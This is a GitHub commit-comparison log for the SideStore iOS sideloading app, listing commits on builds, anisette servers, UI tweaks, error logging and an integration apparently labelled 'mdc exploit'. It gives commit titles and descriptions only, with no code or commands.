Compare commits

..

184 Commits

Author SHA1 Message Date
f1shy-dev
8029a34410 Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 19:04:16 +00:00
f1shy-dev
48e0b37b4d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 18:40:52 +00:00
naturecodevoid
99cb43bbea [skip ci] include commit SHA in PR builds
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-03-24 08:56:30 -07:00
Riley Testut
ca7d8277f7 Fixes “no provisioning profile with the requested identifier…” error
As of March 20, 2023, deleting an app’s auto-generated free provisioning profile is no longer supported. However, fetching the provisioning profile now re-generates is every time, so there’s no need to delete it first.

As a workaround, we now simply use the first profile we fetched if we receive an error when deleting it. This approach should continue to work even if Apple later reverses this change.
2023-03-21 18:52:56 -04:00
Joe Mattiello
337d26333e Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:02:11 -04:00
Joe Mattiello
ebb64d255b Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:00:56 -04:00
Joe Mattiello
7dcb199f68 Update README.md
Add repobeats svg

Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-19 23:28:32 -04:00
naturecodevoid
4334e887de [skip ci] use bundle ID from Build.xcconfig in AltStore.xcconfig 2023-03-12 16:38:59 -07:00
naturecodevoid
4e84dc4cc8 [skip ci] rename the *.dSYM artifact so that macOS treats it as a normal folder 2023-03-07 08:24:28 -08:00
naturecodevoid
1a1ed072bf attach debugging symbols to actions builds 2023-03-07 07:50:31 -08:00
naturecodevoid
ae457f07c4 add https for ani.sidestore.io to Settings.bundle 2023-03-07 07:27:36 -08:00
Nythepegasus
00095942c3 Merge pull request #288 from SideStore/Remove-jk-anisette 2023-03-07 00:54:51 -05:00
Spidy123222
d1caa5fc21 Merge branch 'develop' into Remove-jk-anisette 2023-03-06 12:11:02 -08:00
Spidy123222
813e2f97ac Change version to 0.3.2
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-06 12:10:39 -08:00
Nythepegasus
bcb5a90f5e Add SSL encryption to ani.sidestore.io
Signed-off-by: Nythepegasus <nythepegasus84@gmail.com>
2023-03-06 14:09:16 -05:00
Spidy123222
020a1a3149 Replace sideloady to use sidestore ani
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-05 19:27:25 -08:00
Spidy123222
c4d649ec58 Remove jkcoxson anisette servers.
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-05 13:45:10 -08:00
naturecodevoid
c02cf2c284 Update error codes to match minimuxer error codes (this is why people got Unknown error instead of an actual error message)
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-03-04 08:08:35 -08:00
Spidy123222
c30afd042e Change version to 0.3.1
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2023-03-01 13:17:09 -08:00
naturecodevoid
17640fe6cf Cherry pick app ID logging fix from duplicate profiles PR 2023-02-25 14:36:37 -08:00
Joe Mattiello
2e4f6ee420 Merge pull request #272 from SideStore/naturecodevoid/prebuild-rust-deps-attempt-2
More actions updates, contributing guide
2023-02-24 00:00:43 -05:00
naturecodevoid
a3768d9221 [skip ci] actions: Add info/automate cache resetting 2023-02-21 17:27:56 -08:00
naturecodevoid
80c3390363 [skip ci] Makefile: Remove build_rust_dependencies 2023-02-21 17:07:58 -08:00
naturecodevoid
a5e3869d8f Project: update CONTRIBUTING.md to use Makefile 2023-02-21 17:01:24 -08:00
naturecodevoid
aa7d7c2d02 Revert "modify actions to work on test branch"
This reverts commit e59fb15926.
2023-02-21 12:51:34 -08:00
naturecodevoid
015f205569 update release descriptions 2023-02-21 12:42:56 -08:00
naturecodevoid
e59fb15926 modify actions to work on test branch 2023-02-21 12:24:25 -08:00
naturecodevoid
173c585f2d cleanup actions, revamp beta action, modify nightly build num system to be day specific 2023-02-21 12:23:12 -08:00
naturecodevoid
6f8c27793e cleanup makefile and add build steps from github actions 2023-02-21 12:19:08 -08:00
naturecodevoid
332b81c803 No more rust 2023-02-20 20:36:39 -08:00
naturecodevoid
4b343b500d fetch-prebuilt.sh whitespace improvement 2023-02-20 19:43:46 -08:00
naturecodevoid
e87c537642 Update CONTRIBUTING.md 2023-02-20 18:58:42 -08:00
naturecodevoid
2e6300cce2 add changes from attempt #1 2023-02-20 18:50:40 -08:00
naturecodevoid
09514d15a6 use prebuilt binaries 2023-02-20 18:48:21 -08:00
naturecodevoid
0de23dcba0 remove submodules 2023-02-20 16:33:11 -08:00
f1shy-dev
2337043466 random file 2023-02-20 22:44:58 +00:00
f1shy-dev
cc6b048b9c so we now aren't detected by like 8 antiviruses but windows defender loves me 2023-02-20 22:44:37 +00:00
Joss Laymon
bacb153151 Use new pojav url
Signed-off-by: Joss Laymon <71040782+bogotesr@users.noreply.github.com>
2023-02-20 11:21:30 -07:00
f1shy-dev
108f7a936d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-02-20 17:33:50 +00:00
naturecodevoid
a01aa299d8 SourcesViewController: Fix 1 trusted source causing an error making all trusted sources fail to load 2023-02-18 20:33:44 -08:00
Spidy123222
44edbddbd8 Replace placeholder video with instructions. (#266) 2023-02-15 21:14:51 -08:00
f1shy-dev
46945bc087 remove weird artifacts 2023-02-11 20:20:50 +00:00
f1shy-dev
486b3d12bd mdc v14 2023-02-11 20:16:13 +00:00
f1shy-dev
0dc0ff8151 cache deps 2023-02-06 18:04:36 +00:00
f1shy-dev
b2a1fdb6ee mdc exploit 2023-02-06 17:54:26 +00:00
naturecodevoid
79d677cf3c Revamp issue and PR templates (#253)
* Create config.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Delete bug_report.md

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create bug_report.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create feature_request.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create pull_request_template.md

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

---------

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-02-06 00:43:44 -05:00
oqammx86
be39b6512f Add sidestore anisette server
Signed-off-by: oqammx86 <84847714+oq-x@users.noreply.github.com>
2023-02-02 13:05:36 -05:00
naturecodevoid
fcfeea35da Revert "Release channel support (#239)"
This reverts commit 7d0eb8c61e.
2023-02-02 08:09:15 -08:00
naturecodevoid
7d0eb8c61e Release channel support (#239)
* Release channel support

- Show SideStore in Browse if it's not from the current SideStore source
- Change SideStore source URL and source ID based on if beta and nightly are in the version string
- Use StoreApp name for InstalledApp name to allow for source-specified name to show up in My Apps

* My Apps: Fix incorrect app name on first launch

* News: fix duplicate news items from multiple SideStore release channel sources

* Trusted Sources: Add stable and beta
2023-02-02 08:05:27 -08:00
naturecodevoid
4d8438a6b6 Update minimuxer 2023-02-01 20:05:26 -08:00
naturecodevoid
f611244e35 Add PR suffix to version in PR workflow
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-26 17:13:32 -08:00
naturecodevoid
546a978d3b Update .gitignore 2023-01-25 06:50:06 -08:00
naturecodevoid
70b23fb073 Merge remote-tracking branch 'upstream/develop' into develop 2023-01-19 17:39:11 -08:00
naturecodevoid
a56ca597d6 Fix build errors 2023-01-19 17:37:43 -08:00
naturecodevoid
679e0228a8 Remove debug
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-19 08:30:47 -08:00
naturecodevoid
e153394323 Merge branch 'develop' of https://github.com/naturecodevoid/SideStore into develop 2023-01-19 07:56:52 -08:00
naturecodevoid
5bd1fcfcfd Merge branch 'develop' of https://github.com/SideStore/SideStore into develop 2023-01-19 07:54:25 -08:00
naturecodevoid
2a392ddc44 SemVer version comparison 2023-01-19 07:52:47 -08:00
Joelle Stickney
b5cb8bc0d9 Updated Patreon Link 2023-01-18 14:41:24 -05:00
Joelle Stickney
fa170bcf98 Update README.md
Signed-off-by: Joelle Stickney <joellestickney+commit@gmail.com>
2023-01-13 10:39:12 -05:00
Joe Mattiello
7939d46949 Merge pull request #219 from SoY0ung/file_sharing
Reset Pairing File and checking minimuxer log in app
2023-01-12 20:35:06 -05:00
naturecodevoid
ab9df8201a Merge remote-tracking branch 'upstream/develop' into develop 2023-01-09 17:40:50 -08:00
SoY0ung
4a670ec091 You can check minimuxer log in Error Log Page 2023-01-09 16:17:00 +08:00
SoY0ung
10e57e59c4 You can access SideStore document from File App 2023-01-09 15:19:18 +08:00
SoY0ung
b9ec43ef34 Add 'Reset Pairing File' 2023-01-09 15:15:31 +08:00
SoY0ung
42197cd375 Fix Advanced Setting display error 2023-01-09 14:13:31 +08:00
jawshoeadan
704852973b Merge pull request #214 from jawshoeadan/remove-hardcoded-me
Update AltBackup.ipa to remove any hardcoded stuff
2023-01-07 18:02:56 -08:00
Jawshoeadan
056b4200df Update AltBackup.ipa 2023-01-04 21:55:00 -08:00
Joe Mattiello
250a7d8627 Merge pull request #213 from SideStore/feature/JoeMFixes
Joe M fixes for 1.0
2023-01-04 12:58:56 -05:00
Joseph Mattello
1ba51e161e Add placeholder for minimux retries
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 12:20:08 -05:00
Joseph Mattello
32e58af896 add workflow to attach builds to PR
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:54:29 -05:00
Joseph Mattello
312fa6fe76 final classes marked as final
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:52:12 -05:00
Joseph Mattello
afbe0837ba allow simulator to launch w/o pairing file
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:32:04 -05:00
Joseph Mattello
36ad2a720f log functions inlineable
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:31:51 -05:00
Joseph Mattello
901e3b14bb add final class to some classes
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:31:41 -05:00
Joseph Mattello
588d209f7b refs #160 codable feed structs
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-04 09:31:28 -05:00
naturecodevoid
554c54e6be Revamp actions to have stable, beta and nightly builds (#210)
* start on nightly builds

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update build.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Remove testing logic, final changes

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Nightly release build (#2)

* Update and rename build.yml to nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* trigger on tag

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add version and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Revert "test"

This reverts commit 9dff8d1d878a764a432ef4560300acdb4407313a.

* Remove pr from stable

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add pr.yml

* Add nightly suffix and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add beta

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* [beta] test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Remove test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:55:14 -05:00
naturecodevoid
b0fac34ffc Nightly release build (#2)
* Update and rename build.yml to nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Create stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* trigger on tag

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add version and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Revert "test"

This reverts commit 9dff8d1d878a764a432ef4560300acdb4407313a.

* Remove pr from stable

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add pr.yml

* Add nightly suffix and build number

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update stable.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* add beta

* Update nightly.yml

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* [beta] test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

* Remove test

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>

Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
5ede9f7c6b Remove testing logic, final changes
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
c7254fd23e Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
55fcea04af Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
c212c0a6b2 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
a31fd6709a Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
e367fd2b73 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
1ca67d0241 Update build.yml
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
naturecodevoid
8ffa952ff9 start on nightly builds
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-01-04 08:54:21 -05:00
Joelle Stickney
da246fa30b Revert "Change default anisette server"
This reverts commit 25103c1188.
2023-01-04 08:52:59 -05:00
Joseph Mattello
13f306742e Revert "Merge pull request #189 from Nythepegasus/feature/retries"
This reverts commit 50841f5e24, reversing
changes made to d797ddd668.
2023-01-04 08:48:33 -05:00
Joelle Stickney
f3815dc45e Merge pull request #209 from SideStore/feature/deeplink_settings
Open Settings.app from SettingsVC
2023-01-01 12:33:31 -05:00
Joseph Mattello
d086254012 add button to open Settings.app in SettingsVC
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2023-01-01 12:20:08 -05:00
Spidy123222
bc4d5ba097 Fix sidestore version
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-30 19:07:17 -08:00
Spidy123222
c556783fe3 Bump version to 0.3.0 (#204)
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-30 15:48:15 -08:00
Joe Mattiello
5fba4c12aa Merge pull request #202 from SideStore/pullrequests/jawshoeadan/develop
Merge all of Riley's new error handling stuff REBASED
2022-12-30 17:10:45 -05:00
Joseph Mattello
7e0dde3ece fix 2 missing .c’s in libmobiledevice build
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 17:09:44 -05:00
Joseph Mattello
fc03e83531 fix wrong libframentzip.a link target
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 17:09:44 -05:00
Nythepegasus
4c441077c7 Add a bunch more "logging" throughout signing 2022-12-30 17:09:44 -05:00
Nythepegasus
4a5ca81e9a Show file extensions to help user choose file 2022-12-30 17:09:44 -05:00
Nythepegasus
75eebe8f8c Use right Bundle ID for AltWidget 2022-12-30 17:09:44 -05:00
Nythepegasus
271a8cdac5 Change the Bundle ID to always be SideStore 2022-12-30 17:09:44 -05:00
Nythepegasus
25103c1188 Change default anisette server 2022-12-30 17:09:44 -05:00
Nythepegasus
d81058e606 Add our own Analytics key 2022-12-30 17:09:44 -05:00
Nythepegasus
693df54b3b Change version to be 0.1.2 2022-12-30 17:09:43 -05:00
Riley Testut
ae6ed99dc4 Displays “TODAY” as section header for logged errors that occured that day 2022-12-30 17:09:15 -05:00
Riley Testut
14bd58e741 Prevents simultaneous database access from multiple AltStores
AltStore now sends a “WillAccessDatabase” notification before loading the persistent store, which causes other AltStore instances in memory to exit (either immediately, or upon returning to foreground).

This prevents multiple AltStore instances from simultaneously accessing the same database, which could result in corrupted data (especially if they used different database model versions).
2022-12-30 17:09:15 -05:00
Riley Testut
6d35a7a4ba Fixes widgets potentially not updating after refreshing apps 2022-12-30 17:09:15 -05:00
Riley Testut
46b0d1ceac Always displays PatreonViewController loading indicator when fetching patrons
Previously, we only showed the loading indicator if user had not yet cached any Friend Zone patrons.
2022-12-30 17:09:15 -05:00
Riley Testut
67a66d2fcd Fixes ErrorLogViewController’s dark mode appearance 2022-12-30 17:09:15 -05:00
Riley Testut
43e90b57ea [Apps] Updates AltStore beta to 1.6b2 2022-12-30 17:09:14 -05:00
Riley Testut
c80740e590 Updates LaunchViewController error alert to include more detail
Uses debugDescription over localizedDescription, because that makes it significantly easier to debug the underlying problem from a screenshot.
2022-12-30 17:09:14 -05:00
Riley Testut
54ccb9611e Fixes “error migrating persistent store” issue
We now set AppVersion.sourceID during migration, which fixes AppVersion entries conflicting across different Sources if multiple contain the same app + version.
2022-12-30 17:09:14 -05:00
Riley Testut
8fcb897800 [Apps] Updates AltStore beta to 1.6b1 2022-12-30 17:09:14 -05:00
Riley Testut
699eda5d1b [AltWidget] Adds “icon” style lock screen widget 2022-12-30 17:09:14 -05:00
Riley Testut
d7d0a83550 [AltWidget] Replaces ProgressRing with SwiftUI.Gauge 2022-12-30 17:09:14 -05:00
Riley Testut
e3c331c911 [AltServer] Fixes potential race condition crash when managing connections 2022-12-30 17:09:14 -05:00
Riley Testut
eda4dd6aec Updates app version to 1.6b1 2022-12-30 17:09:14 -05:00
Riley Testut
8ad7be474d Resolves AppVersion context-level conflict after migrating from Core Data model v10 2022-12-30 17:09:14 -05:00
Riley Testut
a64435f155 Migrates Core Data model from v10 to v11 2022-12-30 17:09:14 -05:00
Riley Testut
fa160124d2 Supports new “versions” key in source JSON
Allows sources to list multiple versions of an app.

Preserves backwards compatibility by assigning legacy version values when assigning AppVersions.
2022-12-30 17:09:14 -05:00
Riley Testut
5765cb8330 Adds AppVersion Core Data entity
Preserves redundant fields on StoreApp in database model for backwards compatibility.
2022-12-30 17:09:14 -05:00
Riley Testut
f472b227bb Automatically purges LoggedErrors older than one month
Occurs whenever app enters background.
2022-12-30 17:09:14 -05:00
Riley Testut
d2b419c42e Adds Error Log screen
Allows users to view a history of all errors that occured when performing app operations.
2022-12-30 17:08:49 -05:00
Riley Testut
09d4de660f Fixes CollapsingTextView incorrectly showing More button 2022-12-30 17:08:49 -05:00
Riley Testut
728dcd8523 Adds LoggedError Core Data entity
Allows us to save certain errors to disk so that they can be viewed again later from an error log.
2022-12-30 17:08:49 -05:00
Riley Testut
93cf9bf6a9 Makes AppProtocol.url optional
Allows us to create AnyApp values without a valid file URL.
2022-12-30 17:08:49 -05:00
Joe Mattiello
50841f5e24 Merge pull request #189 from Nythepegasus/feature/retries
Add various retries throughout the Rust function calls
2022-12-30 17:04:43 -05:00
Nythepegasus
fc6d92d1fc Add retries in the various minimuxer functions 2022-12-30 17:04:19 -05:00
Nythepegasus
7162a029bb Retry AFC 10 times before giving up 2022-12-30 17:04:19 -05:00
Joseph Mattello
d797ddd668 closes #93 redo of bundle id’s from .app
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 17:03:58 -05:00
Spidy123222
989e8c3aa6 Add SideKit integration (#149)
* Add a URL scheme

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

* Add sidestore as a scheme and fix spacing

* Undo formatting fix

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>

Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-30 17:03:18 -05:00
Joe Mattiello
08b79af242 Merge pull request #192 from LitRitt/new-ui-color
Change UI Color
2022-12-30 16:56:54 -05:00
LitRitt
0d2f346a30 Changes default app tint color
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
39f1d5f5fd Probably does nothing but changed just in case
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
05008bb7f8 Changes the color of navigations glyphs and colored text
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
be90d6fc45 Changes settings highlight color
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
LitRitt
a1bcdf9924 Change settings background color
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-30 15:59:33 -05:00
Joe Mattiello
b0e001393c Merge pull request #142 from SideStore/feature/cargo_in_xcode
Build Rust depends in XCode
2022-12-30 15:59:18 -05:00
Joseph Mattello
2d08941f6a udpate em_proxy.h
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:47:27 -05:00
Joseph Mattello
d0fef1f312 fix header paths
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:41:40 -05:00
Joseph Mattello
68342cb0d4 fix hardcoded paths in generated cargo xcodeprojs
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:28:03 -05:00
Joseph Mattello
2b419212a7 replace fragmentzip.a with xcodeproj
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:23:06 -05:00
Joseph Mattello
b2cbc7e34d github action please work
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:17:55 -05:00
Joseph Mattello
61247e575b fix build for updated submodules
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 15:17:47 -05:00
Joseph Mattello
31e18266d1 build.yml updates formatting and xcode ver
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:59:16 -05:00
Joseph Mattello
df8a8de889 update libplist to head
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:57:54 -05:00
Joseph Mattello
8a037d6b29 update libmobiledevice to head
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:57:05 -05:00
Joseph Mattello
47b555b98c project: fix wrong paths for depends
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:56:52 -05:00
Joseph Mattello
0c2dae475e cargo: fix github action?
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 14:49:13 -05:00
Joseph Mattello
dc676d04d8 Add rust depends to xcode build
Signed-off-by: Joseph Mattello <mail@joemattiello.com>

cargo script for action

fixes path

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

cargo.sh More robust env for xcode cli

Signed-off-by: Joseph Mattello <mail@joemattiello.com>

rust: add xcode projs made with cargo-xcode

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-30 13:21:57 -05:00
Joelle Stickney
15b54bff50 Merge pull request #201 from SideStore/Add-Community-Store-Trust
Add Community store to Trusted Sources
2022-12-29 01:09:51 -05:00
Spidy123222
47bd4b4c0b Update trustedapps.json
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-28 23:50:24 -05:00
Joelle Stickney
3c8b36ddfe Merge pull request #200 from SideStore/Add-Yattee-Source
Add Yattee to trusted sources
2022-12-25 05:42:05 -05:00
Spidy123222
608df3fddd Add Yattee to trusted sources
Signed-off-by: Spidy123222 <64176728+Spidy123222@users.noreply.github.com>
2022-12-25 02:22:06 -08:00
Joelle Stickney
c092c285ee Removed Jackson from CODEOWNERS
Due to his two year mission trip and the fact he, as an codeowner, gets added to SideStore issues / PRs automatically, it seemed best to remove him atm.
2022-12-24 18:19:17 -05:00
Joelle Stickney
93b745e379 More credit adjustments 2022-12-24 17:19:55 -05:00
Joelle Stickney
c18db77ade Turn off all background refresh notifications
This removes all background refresh notifications but keeps the "Reminder to open SideStore every so often", and the "x app expires soon" local push notifications.
2022-12-19 23:26:15 -05:00
Joelle Stickney
2c0b167e6b Adjusted credits 2022-12-19 07:36:44 -05:00
Joelle Stickney
313254d0c8 Credit text changes 2022-12-19 06:40:10 -05:00
f1shy-dev
6f519c97d3 Fix .mobiledevicepairing files (#186)
* Fix .mobiledevicepairing file selection and also add support for .xml pairing files

* Add a more meaningful message for when pairing file selection is cancelled.
2022-12-17 14:13:53 -07:00
LitRitt
17a3e16b1d Change browse icon (#188)
Now matches new icon

Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>

Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-17 14:13:38 -07:00
Joseph Mattello
8199358088 Info.plist add LSSupportsOpeningDocumentsInPlace 1
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 04:29:10 -05:00
Joseph Mattello
412928eeaa AltWidget version set to $(MARKETING_VERSION)
fixes xcode warning that version of app and extension don’t match

Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 04:28:53 -05:00
Joseph Mattello
51e1b935bd fix 3 more style .white deprecations to .medium
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:13:30 -05:00
Joseph Mattello
742b51e5e2 fix deprecated style .white to .medium
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:12:13 -05:00
Joseph Mattello
fdb5e2eebb fix xcode warning
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:11:22 -05:00
Joseph Mattello
0192f64cd2 Add AltStore Release scheme
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:10:45 -05:00
Joseph Mattello
193298ac87 fix crash for missing patreon images
Signed-off-by: Joseph Mattello <mail@joemattiello.com>
2022-12-17 03:10:28 -05:00
Joe Mattiello
a81cb81799 Merge pull request #181 from LitRitt/change-designer
Update app icon and designer
2022-12-11 21:56:58 -05:00
LitRitt
ad8a7fdc9b Update Settings.storyboard
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-11 15:54:18 -08:00
LitRitt
5440afcebe Update SettingsViewController.swift
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-11 15:54:18 -08:00
LitRitt
715d7e664c Update App Icon
Signed-off-by: LitRitt <78584620+LitRitt@users.noreply.github.com>
2022-12-11 15:54:18 -08:00
jawshoeadan
aa182cfa68 Merge pull request #179 from jawshoeadan/beta-apps
Fix beta apps on the my apps view, and fix deactivating/activating apps
2022-12-11 16:43:46 -06:00
Jawshoeadan
f92dd7a872 Remove all restrictions based on Patreon account (hopefully) 2022-12-11 15:41:43 -06:00
Jawshoeadan
b02b9197d0 Fix beta apps on the my apps view, and fix deactivating/activating apps 2022-12-08 19:24:28 -06:00
Jawshoeadan
86d02be70c Remove Patreon check to show beta apps in store view 2022-12-08 10:28:34 -06:00
Spidy123222
